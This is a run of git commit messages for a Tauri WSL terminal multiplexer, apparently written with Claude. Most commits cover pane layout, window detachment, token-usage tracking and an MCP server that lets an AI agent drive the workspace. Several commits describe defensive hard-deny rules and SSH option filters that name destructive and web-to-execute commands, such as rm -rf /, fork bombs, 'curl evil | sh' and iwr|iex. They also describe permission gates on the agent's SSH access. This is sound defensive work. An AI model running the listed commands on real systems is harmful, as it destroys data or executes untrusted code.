The synchronous on_window_event CloseRequested handler reached
WindowsState::schedule_save -> tokio::spawn, which panics ("no reactor
running") because that callback runs on the main thread with no ambient
Tokio runtime; the unhandled main-thread panic aborted the whole
process, taking every window + PTY down. (push_window_workspaces hit the
same line safely because it's an async tauri::command.)
- window_state.rs: tokio::spawn -> tauri::async_runtime::spawn (global
runtime, works from any thread). Verified against tauri 2.11 source.
- lib.rs: defensive .build().run() guard — prevent_exit while any window
remains so no path can orphan live PTYs; close logging warn!->debug!.
Source-verified; pending Windows runtime test.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Reliable per-pane context tracking isn't achievable from transcripts: we
can't distinguish 'claude is live in this pane' from 'a shell sitting in
a directory that recently had a claude session' (claude renders inline,
not alt-screen; no WSL foreground-process access), and the 200k-vs-1M
window isn't recorded so % is unreliable. Removed the context indicator,
its OSC 7 cwd injection (pty.rs), the get_pane_context backend
(usage.rs), src/lib/usage.ts, the orchestration paneContext map, and the
App poll. The narrow-pane toolbar reflow (leaf--narrow/xnarrow tiers,
label shrink, close × pinned) is KEPT — it's verified and independent.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The context indicator never showed because it matched on leaf.cwd, which
is almost always undefined (newLeaf sets none; the shell picker never
supplies one) — so the cwd<->transcript match never hit.
Fix: report each WSL pane's real working directory.
- pty.rs: inject PROMPT_COMMAND (forwarded via WSLENV) so the WSL shell
emits OSC 7 (file://host/path) on every prompt. Default Ubuntu bash
inherits an env-provided PROMPT_COMMAND; a shell that hard-assigns it,
or a non-bash login shell, just won't report (indicator stays hidden,
no breakage).
- XtermPane: register an OSC 7 handler, decode the path, emit onCwd.
- LeafPane: track liveCwd from onCwd and match the session on
(liveCwd ?? leaf.cwd). OSC 7 fires at the bash prompt right before
'claude' launches, so liveCwd is exactly claude's launch cwd; it also
follows 'cd'.
tsc clean. Rust builds on the Windows host; needs runtime verification.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
For a subscription user, lifetime token totals + a $ estimate aren't
actionable; how full each session's context window is right now is. So:
- Removed the UsagePanel, the titlebar 💰 chip, and Ctrl+Shift+U.
- Repurposed the transcript reader (src-tauri/src/usage.rs): get_pane_context
returns each recent session's CURRENT context occupancy = the last
assistant turn's input + cache_read + cache_creation tokens (the prompt
size), instead of lifetime sums. Same UNC/$HOME/cache/recency machinery.
- src/lib/usage.ts now holds context helpers (window inference 200k vs 1M by
whether occupancy already exceeds 200k, % , green→amber→red ramp, label).
- App polls get_pane_context (15s, visibility-gated) into a cwd→context map
exposed via orchestration; each LeafPane looks itself up by leaf.cwd and
renders a slim fill bar + % in its header (hidden for non-claude/unmatched
panes).
Also fixes the narrow-pane toolbar: a ResizeObserver sets leaf--narrow /
leaf--xnarrow width tiers; the label shrinks first, split buttons / status /
secondary chips drop out by tier, and the close × + context indicator stay
pinned right and visible down to the 180px min width.
tsc clean (apart from the not-yet-installed xterm addons). Rust builds on
the Windows host; needs runtime verification.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Reads ~/.claude/projects/*.jsonl transcripts from the open WSL panes'
distros and shows per-session token counts + estimated USD cost, with a
running total in the titlebar.
Backend (src-tauri/src/usage.rs): new get_claude_usage command. For each
distro it probes $HOME once via wsl.exe, reaches the transcripts over the
\\wsl.localhost UNC share, and tallies message.usage per model per
session (summed by each line's model, since a session can switch models).
Results cached by (path,size,mtime) so polling only re-parses the file
that grew; recency-capped (30d / 50 sessions) to bound scan cost.
Windows-only; returns [] elsewhere. quiet_command made pub(crate).
Frontend: src/lib/usage.ts holds the pricing table (per-MTok rates,
matched by model-family substring) + cost/format helpers, so rates are
editable without recompiling Rust. UsagePanel.tsx mirrors the MCP panel
modal; rows whose transcript cwd matches an open pane are highlighted
with a [pane: label] tag. App polls every 20s (visible windows) for the
titlebar 💰 total and every 5s while the panel is open. Ctrl+Shift+U
opens it; added to shortcuts.ts + regenerated README.
tsc clean. Rust builds on the Windows host; needs runtime verification.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- window_state.rs: persist only the main window's workspaces. The aggregator
flattened every window's tabs into the saved file; main then adopted the
whole blob on launch, so detached windows' ephemeral tabs (and Pane N
drag-out artifacts) accumulated without bound.
- TabStrip: portal the close-confirm popover to <body> with fixed,
viewport-clamped positioning so the horizontally-scrolling strip can't clip
it and it never runs off a window edge.
- styles.css: make themed ::-webkit-scrollbar global, not just xterm viewport.
- LeafPane: B1 drag-out ghost chip (portal, edge-pinned, orange detach state).
- App.tsx: moveToNewWindow waits briefly for pane registration instead of
failing instantly on an in-flight spawn/adopt.
- gitignore cargo-test.lo*.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- capabilities/default.json: extend window scope to "pane-window-*" so
detached windows can invoke/listen (fixes blank panes B2-B5).
- App.tsx: memoize the destructive take_pending_window_init read at module
scope so React StrictMode's double mount-effect doesn't consume the
transfer payload twice and lose the adopted PTY session.
- lib.rs: add `use tauri::Manager;` for Window::app_handle() in on_window_event.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Right-click any pane's title bar → "Move to new window" pops it into a
fresh tiletopia window with its PTY intact. Same Tauri process; the
PtyManager is shared, so the existing PaneId stays valid and Tauri 2's
process-wide event routing keeps pane://{id}/data flowing into the new
window's XtermPane.
Mechanism (Rust-side, plan-agent's main correction over my draft):
- pty.rs: PtyManager.transferring is a per-pane refcount; kill_pane
becomes a no-op while it's >0. Source window's React unmount calls
kill_pane → silently dropped while in flight; target window's
claim_pane decrements after it has subscribed.
- window_state.rs: per-window workspaces snapshot map +
debounced-by-tokio aggregate save. Each window pushes its tabs via
push_window_workspaces; backend writes the merged
{ version: 2, workspaces: [...] } envelope. Non-main windows have
their entries dropped on CloseRequested so closing a detached window
discards its tabs (Chrome-style).
- commands: mark_pane_transferring, claim_pane, get_pane_ring (base64
scrollback ring snapshot), create_pane_window, take_pending_window_init,
push_window_workspaces.
Frontend:
- XtermPane gets `existingPaneId?: PaneId`: skip spawn, replay ring
snapshot via term.write before attaching the live data listener,
resize PTY to this window's grid, claim_pane. Scrollback replay was
the plan agent's other ship-in-v1 call — without it a transferred
Claude session looks blank until next prompt repaint.
- LeafPane: onContextMenu opens a fixed-positioned "Move to new
window" popover. Esc / outside-click dismiss.
- orchestration adds moveToNewWindow + getInitialPaneIdFor; App owns a
one-shot transferredPaneIdsRef cleared in registerPaneId.
- App mount branches on getCurrentWebviewWindow().label: main loads
workspace.json as before; non-main calls take_pending_window_init
and builds a singleton workspace around the adopted leaf.
- MCP mirror + onMcpRequest only run in main (paneIdByLeafRef is per-
window; Claude sees the main window's current tab as the single
workspace surface).
pnpm check (tsc -b) clean. 79/79 vitest pass. Rust side authored in
WSL; cargo build needs verification on Windows host before this is
runnable.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three of the four dead-code warnings (`ClassifierHint`, `PolicyClassifier`,
`NoopClassifier`) were the v2.1 classifier scaffold sitting unused since
PR-1. Deleted — being unused for weeks was a stronger "no concrete plan"
signal than its presence was a "TODO" signal. Trivial to re-add when we
actually do the classifier (v0.4.0 candidate).
Fourth warning was rmcp's `#[tool_router]` macro generating internal
references to a `tool_router` field on TileService that rustc's dead-code
pass can't see through. Added `#[allow(dead_code)]` with a brief comment
on why.
`cargo build` is now clean of the four standing dead-code warnings.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Reverts in one combined commit:
- 9931a92 (inline pane_id + watch list into bash script)
- 6772b8d (pivot per-distro → per-pane via TILETOPIA_PANE_ID env)
- f51033a (original per-distro idle filter)
End-to-end probe never worked correctly against the real running app
even after fixing the wsl.exe-drops-positional-args bug. Probe script
ran fine in isolation but kept returning false-negative when called
through tiletopia's wsl.exe spawn. Rather than keep iterating, back
out cleanly — pane behaviour is now the original "go idle after 5s of
silence regardless of what's running."
memory.md session log notes the lessons for a future retry: don't ship
per-distro again (CLAUDE.md explicitly says multi-claude-per-distro is
the primary use case); prove the probe end-to-end before wiring into
the idle effect (a "Test probe" button in MCP panel would have caught
this in minutes).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Root cause of "filter never suppresses": passing the target pane_id and
watch names as positional args to `bash -c "..." _ <id> <names>` had
them silently dropped by wsl.exe's arg-passing layer. Inside bash, $1
and $@ were empty — the script always looked for `TILETOPIA_PANE_ID=`
(no value), found nothing, exited 1.
Fix: format the script string in Rust with pane_id and watch names
already substituted. No positional args to bash → nothing for wsl.exe
to drop. Both inputs are safe to inline (u64 and a compile-time const
list); validation needed if user-supplied watch names ever land here.
Two unit tests guard against regressing to the positional-arg shape.
Also dropped the diagnostic info!() spam added during debugging — back
to debug! in the happy path, single concise probed= line on each cache
miss.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Per-distro suppression (shipped earlier today) broke tiletopia's primary
use case — multiple claude panes per distro means as soon as one runs
claude, ALL Ubuntu panes go silent. Tested live: user couldn't reproduce
idle on any pane because PID 46848 (their main session) tripped the gate.
New mechanism, per-pane via env-var marker:
1. pty.rs tags every WSL spawn with TILETOPIA_PANE_ID=<id> as a Windows
env var, plus WSLENV=...TILETOPIA_PANE_ID/u (appended to any pre-
existing WSLENV) so the var forwards into the distro. Pane id is now
reserved BEFORE build_command so the tag is available at spawn time.
2. probe.rs rewritten — is_watch_process_running(distro, pane_id) runs
a bash one-liner that pgreps for each watched name, then for each PID
checks /proc/<pid>/environ for the matching TILETOPIA_PANE_ID line.
Env inheritance does the work: shell inherits from wsl.exe, claude
inherits from shell. Cache keyed by (distro, pane_id).
3. Fail-safe INVERTED: probe failure now returns false (don't suppress)
instead of true (suppress). A transient error should never silence
the idle indicator permanently. Frontend catch updated to match.
4. LeafPane tracks PaneId in paneIdRef set by onPaneSpawned; idle ticks
before spawn-completion pass 0, which won't match any real marker so
the pane idles normally.
Existing panes won't have the marker until respawned — they'll always
show idle (since probe never matches). User opens fresh panes once after
deploying this. Documented in memory.md follow-ups.
pnpm check clean. Rust validation: cargo test --lib on Windows.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Probes wsl.exe -d <distro> -- pgrep -x claude before flagging a WSL pane
idle, with a 3s per-distro cache on the Rust side. If claude is running
anywhere in the distro, all panes in that distro stay out of the idle set
(per-pane granularity is out of scope — PIDs aren't observable from
Windows). PowerShell + SSH panes skip the probe and keep the legacy
always-notify behaviour.
Four new compiled-in hard-deny rules covering PowerShell + cmd.exe
catastrophic patterns (mirror of the POSIX 10):
- Remove-Item / del / rd / ri / rm / erase / rmdir targeting C:\
or user home / appdata
- Format-Volume / Clear-Disk with any flag (= an invocation, not a
Get-Help lookup)
- iwr | iex pipe form (PowerShell web-to-execute)
- iex (irm ...) parenthesized form
Universal application — no shell-aware scoping yet. PS cmdlet
identifiers are distinctive enough that bash false-positives are
vanishingly unlikely. Shell-aware policy scoping remains a known
follow-up.
Drift-proof the "Always blocked" label list: backend now exposes
hard_deny_rules() via a new mcp_hard_deny_labels Tauri command, and
PolicyTab loads it at mount instead of hardcoding the list. Avoids
the 11→15 manual sync that would have been needed (and that had
already drifted twice this week).
cargo test --lib: 138 passed; 0 failed (118 prior + 20 new fuzz
cases for rules 11-14; hard_deny_rules_count bumped 10 → 14).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Re-enabling the policy test module in PR-4 (the policy_with compile fix)
exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions.
is_hard_denied is now two-pass — whole-input first, then per-subcommand.
The subcommand splitter was tearing apart patterns whose meaning needs
their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell.
Result was that 9 of the 10 advertised hard-deny rules quietly didn't
enforce against their own canonical examples.
Regex fixes:
- Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`.
- Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle
the danger past detection.
- Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most
common form) was not previously caught because `ba?sh` required `b`.
- Rule 9 anchor tightened: `/` must be followed by a path boundary,
end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false-
positives (still destructive, but a deliberate user scope choice).
Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_
matched and hard_deny_git_grep_contains_pattern. The originals expected
false-positives on echo'd / grep'd danger strings. The post-fix behaviour
of NOT flagging these is correct UX: searching for or printing a danger
string is not the same as invoking it.
cargo test --lib: 118 passed; 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Final v2 PR. All 11 planned write tools live. add_host/delete_host let
Claude mutate the saved-hosts list; both gated by a new allowAddHost
switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5.
add_host's extraArgs are sanitised against CVE-2023-51385-class
local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand,
PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL
and -oKEY=VAL, case-insensitive on the key. The manual host manager UI
stays unrestricted (user has full agency over their own hosts).
Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test
helper was missing the ssh_safeguards field added in PR-3.5, silently
breaking the entire policy test module since then. Re-enabling those
tests is the prereq for the hard-deny rework that follows in the next
commit.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three small things bundled from PR-3 verification:
1. Split SSH out of mcp.spawn_pane schema. New McpSpawnSpec enum
(Wsl | Powershell only) used for SpawnPaneArgs, so Claude's
spawn_pane tool description and JSON schema show only the local
shells. SSH must go through connect_host. The internal
pty::SpawnSpec is unchanged — the frontend's manual spawn path
via XtermPane still supports all three variants. Previously
spawn_pane(kind=ssh) was a half-broken path that required `host`
as a separate mandatory field even when hostId was given;
serde-rejected the natural "spawn to a saved host" call shape.
2. Refresh the MCP server's `with_instructions` text and the
module-level header comment. Both still claimed "read-only v1"
long after the v2 write surface landed, which was making Claude
refuse to attempt tools on first contact ("the server has
flagged itself as read-only..."). The instructions now describe
the actual tool set, the SSH-via-connect_host convention, and
the policy/safeguards gates so Claude doesn't have to infer.
3. Add a "Connect" button to the SSH hosts manager. Previously
the dialog only had Edit — users (rightly) expected clicking a
saved host to spawn an SSH pane to it. New onConnect callback
does the splitLeaf + smart-orient dance and closes the manager.
Buttons wrapped in a flex container so the row's
space-between layout doesn't strand the new button mid-row.
Three of the highest-power v2 tools, plus a defense-in-depth pass
on SSH-specific risk.
write_pane sends keystrokes (or any bytes) to a pane's PTY. The
policy engine matches against the text content directly so rules
like write_pane(npm test*) match by what would run, and the
compiled-in hard-deny catches rm -rf /, fork bombs, etc. regardless
of policy. Per-pane token-bucket rate limiter (30 calls / 10s,
3/sec refill) prevents a runaway loop from spamming the user with
confirm modals or burning audit-log capacity. The frontend handler
truncates the text in modal/audit summaries to ~60 chars + escapes
control characters so secrets pasted into write_pane don't echo
verbatim into the UI.
spawn_pane mirrors the existing SpawnSpec enum (WSL distro,
PowerShell, SSH) as the tool schema. New splitLeafWith helper
inserts a caller-built LeafNode (with a pre-generated id) so the
handler can await waitForPaneRegistration on that exact leaf before
replying with the resulting {leafId, paneId}. 15s spawn timeout
covers cold-start WSL distros; 30s for connect_host covers SSH
handshake + auth. Outer dispatch timeout bumped 30s → 60s. SSH
spawns without a saved hostId are refused — LeafNode only persists
sshHostId, no inline params, so use connect_host.
connect_host is a thin wrapper that looks up a saved SSH host by
id and routes through the same spawn machinery.
McpConfirm.tsx gains an optional ssh context — when the call
targets or spawns an SSH pane, a red warning banner renders
explaining that pattern matching is best-effort on the bytes we
send (remote shell expands aliases/subshells before executing).
buildConfirmSummary became buildConfirmInfo and returns the SSH
context alongside the summary string.
PR-3.5 — SSH safeguards. Two new switches in the Policy tab,
both off by default, both gated by mcp_policy::SshSafeguards:
allowOpenSsh: when off, connect_host and spawn_pane(kind=ssh)
refuse server-side with a clear "ssh-disabled" message pointing
at the Policy tab. User must open SSH manually via the titlebar
🔑 picker and toggle 🤖 on to grant Claude access.
autoAllowSpawnedSsh: when off, an SSH pane Claude spawns starts
with mcpAllow=false. User must explicitly toggle 🤖 before
Claude can read scrollback or send keystrokes. The second switch
is disabled in the UI when the first is off.
The safe-by-default design means a fresh install gives Claude no
ability to autonomously touch SSH — full safety with one click per
level to enable when consciously wanted. Both switches read fresh
per call so policy edits take effect without a server restart.
ErrorBoundary.tsx — last-resort guard against React render
exceptions. Wraps the App root + each MCP panel tab independently
so a bug in one tab doesn't blank the entire app. Shows a small
red error card with the exception message and a "Try again"
button. Caught a serde rename_all bug during PR-3.5 testing where
PolicyTab read policy.sshSafeguards but Rust serialized
ssh_safeguards (snake_case); without the boundary the whole window
went black.
newId() now exported from tree.ts for the splitLeafWith path.
McpPolicy struct gained #[serde(rename_all = "camelCase")] so
sshSafeguards survives the IPC round-trip cleanly; older policy
files without the field still load (serde defaults to safe).
Four more tree-shape tools routed through the existing dispatcher
+ confirm modal + audit log. All take leaf_id args (single or pair)
that must be MCP-allowed via the per-pane chip; apply_preset takes
a typed PresetName enum (single, two_columns, three_columns,
two_rows, two_by_two) plus an allow_drops boolean.
apply_preset's data-loss case is handled non-interactively: if the
preset has fewer slots than the current pane count and allow_drops
is not set, the frontend handler throws with a descriptive message
listing the leaf labels that would be killed, so Claude can decide
whether to retry with allow_drops=true rather than the user being
ambushed by a destructive confirm modal.
promote_pane errors with "no perpendicular split above it" when the
parent shares orientation with the grandparent (same condition the
Ctrl+Shift+P shortcut uses to toast a no-op).
Extracted a require_visible_leaf helper on TileService since 4+ of
the v2 tools now do the same mirror-presence + cloned-metadata
check. Same args_repr convention as set_label so policy rules like
"close_pane" (bare tool name) work uniformly.
Foundation for Claude-drives-the-workspace writes. Nothing wired
end-to-end yet (App.tsx dispatcher comes next); this lands the
machinery + UI.
mcp_policy.rs (new) — three-tier allow/ask/deny policy with
deny-first precedence and a compiled-in non-overridable hard-deny
list (10 patterns covering rm -rf /, fork bombs, mkfs on device, dd
to raw disk, /etc/passwd overwrite, curl|sh, chmod -R 777 /, etc.).
Shell-operator-aware glob matcher mirroring Claude Code's Bash(*)
syntax. Restrictive default — empty policy means every non-hard-
denied call falls to Ask. Persisted to mcp-policy.json in
app_config_dir. Includes a PolicyClassifier scaffold (no-op) for a
future v2.1 LLM-classifier hook. 1152 lines incl. ~100 unit + fuzz
tests covering the matchers and lookalike negatives.
mcp.rs — TileService now holds AppHandle + Arc<PendingActions>
(oneshot registry keyed by uuid). New async dispatch_action helper
runs the policy check, emits "mcp://request" for the frontend to
handle, awaits a oneshot reply (30s timeout), then emits "mcp://
audit" with the outcome regardless. set_label tool wired through
this path as the demo for PR-1b's dispatcher.
commands.rs / lib.rs — new Tauri commands mcp_action_reply,
mcp_policy_load, mcp_policy_save; PendingActions registered as
managed state.
McpPanel.tsx — refactored into Config / Audit / Policy tabs.
AuditTab listens on mcp://audit, keeps a 200-entry ring with
ok/denied/failed chips. PolicyTab edits the allow/ask/deny buckets
(stacked vertically — three columns overflowed the panel) and shows
the hard-deny rules read-only at the bottom with "Cannot be
disabled" badges. Themed scrollbar on mcp-body to match xterm panes.
Caveat: set_label calls from Claude will currently time out — the
App.tsx side that listens on mcp://request and replies via
mcp_action_reply lands in PR-1b.
Co-authored by Sonnet (policy engine, backend plumbing, panel UI)
and Haiku (hard-deny fuzz test suite); integration + bug fixes here.
Port (default 47821) and bearer token now persist to mcp.json with
OS-picked fallback if the port is taken; new Regenerate button in the
panel rotates the token and restarts the running server. rmcp's
DNS-rebinding host allowlist is disabled so WSL gateway IPs can
connect (bearer-auth handles the gatekeeping); the auth middleware
only enforces on /mcp paths so OAuth-discovery clients don't see a
Bearer challenge on /.well-known/* probes.
Claude Code's HTTP-MCP client currently tries OAuth and ignores
static `headers` auth (anthropics/claude-code#17152, #46879), so the
panel + README config snippet now uses `npx mcp-remote` as a stdio
shim that proxies the HTTP endpoint with the bearer baked in.
navigator.clipboard.readText() triggers WebView2's "Allow clipboard access?"
permission prompt on every paste. The plugin goes through IPC + the OS
clipboard directly, so the prompt never fires.
Wired the Rust plugin, granted clipboard-manager:allow-{read,write}-text in
the capabilities manifest, swapped XtermPane's copy/paste handler to use
the plugin's readText/writeText.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Changes since 0.2.1:
- Keyboard shortcuts: Ctrl+K palette + Ctrl+Shift+E/O/W for
split-right / split-down / close, Ctrl+Shift+B per-pane and
Ctrl+Shift+Alt+B global broadcast, Ctrl+Shift+Arrow for spatial
pane navigation
- New panes default to WSL home (~) instead of inherited Windows cwd
- Resize artifacts: rAF-throttle gutter drag, debounce PTY resize,
skip resizePane when cols/rows haven't actually changed (kills the
idle-flap loop that surfaced with many panes)
- Minimum pane size (180px) enforced on both split and gutter drag
- 2px gap around each leaf so per-pane borders read as distinct
rectangles instead of a continuous grid
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Previously: spawn_wsl(cwd=None) passed no --cd to wsl.exe, so each
pane inherited the launcher's cwd — which is typically
C:\Users\<user>, surfacing inside WSL as /mnt/c/Users/<user>. Annoying
because the first thing you do in a new pane is `cd ~`.
Now: if the caller didn't specify a cwd, we explicitly pass `--cd ~`
so the pane lands in the WSL user's home. Existing panes keep their
saved cwd from the workspace.json.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Changes since 0.2.0:
- Fix broadcast no-op (useEffect deps captured stale orch ref, so paneIds
got silently unregistered on every click → broadcastFrom found no peers)
- Flat-list layout architecture: render leaves as siblings keyed by id,
position via absolute boxes. PTYs survive any tree reshape.
- Drag a pane's toolbar onto another pane to swap them
- Idle reporting moved out of toast spam into a "N idle" titlebar badge
+ red pane border + red "idle" status text
- Themed terminal scrollbars
- Global 📡 broadcast toggle in the titlebar
- Presets preserve existing panes' shells (only kill what overflows the
preset's slot count, with a confirm dialog)
- React 18 frontend (Svelte version retired to svelte-archive branch)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
v0.1.0 was the Svelte version, preserved on branch svelte-archive.
v0.2.0 marks the React rewrite: same features, dramatically more
reliable interactions (no more fighting prop reactivity through the
recursive Pane chain), plus scrollbar theming and the global
broadcast toggle in the titlebar.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
cargo auto-rewrote the tiletopia entry from 0.0.1 to 0.1.0 during
the M5 release build; manually updating Cargo.toml in M5 didn't
touch the lockfile. Committing so the release tag points at a
clean tree.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- scripts/make-icon.py: generates a 1024x1024 source.png — dark
rounded square + 2x2 tile grid with one active-blue tile and one
broadcast-orange tile (matches the in-app accent colors).
Regenerated all desktop icon sizes via 'pnpm tauri icon';
pruned iOS/Android/UWP outputs.
- Version bump 0.0.1 -> 0.1.0 across package.json, Cargo.toml,
tauri.conf.json. First real release.
- scripts/release.sh: takes vX.Y.Z, sanity-checks (clean tree,
on main, in sync, tag matches package.json, installer exists,
tag not already present), tags + pushes, uploads NSIS .exe to
Forgejo via tea releases create --asset.
- README rewritten: Install section pointing at Forgejo releases,
Using-it cheatsheet for all M2-M4 features (splits, broadcast,
palette, etc.), Develop/Test/Release triplet for the WSL<->Windows
workflow, icon regen instructions.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Backend:
- save_workspace / load_workspace Tauri commands writing to
%APPDATA%\com.megaproxy.tiletopia\workspace.json with atomic
tmp+rename. Path from app.path().app_config_dir() (no dirs crate).
Layout helpers:
- tree.ts: changeDistro (with id swap to force XtermPane remount via
{#key}), changeLabel, presetSingle / TwoColumns / ThreeColumns /
TwoRows / TwoByTwo.
- New ops.ts with PaneOps interface bundling split / close /
setDistro / setLabel / distros, drilled through Pane chain
instead of individual callbacks.
UI:
- LeafPane: in-toolbar editable label (click to rename, Enter
saves, Esc cancels) and distro chip popover. Picking a different
distro respawns the pane.
- App.svelte: migrated from localStorage to APPDATA via the new
Tauri commands, debounced 500ms. One-time localStorage migration
on boot. Split inherits parent's distro+cwd. Titlebar preset
buttons with confirm when replacing >1 pane.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- src/lib/layout/tree.ts: pure helpers + types (newLeaf, splitLeaf,
closeLeaf, replaceById, serialize/deserialize with shape-checking).
- SplitNode.svelte: flex container with pointer-captured gutter drag.
- LeafPane.svelte: per-pane toolbar (split-right ⇥, split-down ⇣,
close ×) over the existing XtermPane.
- Pane.svelte: recursive dispatcher between SplitNode and LeafPane,
keyed on leaf.id so swaps unmount XtermPane cleanly (kills PTY).
- App.svelte: tree-as-state with split/close handlers, auto-save to
localStorage on every \$effect tick. Titlebar shows clickable distro
buttons setting the default for new panes; existing panes keep theirs.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
These JSON schemas are regenerated on every cargo build from
src-tauri/capabilities/. Same convention as claude-usage-widget.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Tauri 2 + Svelte 5 + xterm.js + portable-pty. Single full-window
WSL terminal pane with clickable distro picker. M1 verified manually
on Windows: window opens, xterm.js renders, claude TUI works,
resize reflows cleanly.
Graduated from ~/claude/ideas/wsl-mux/ per the approved plan at
~/.claude/plans/imperative-coalescing-feigenbaum.md. See memory.md
for decisions, open TODOs, and the M2-M5 roadmap.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>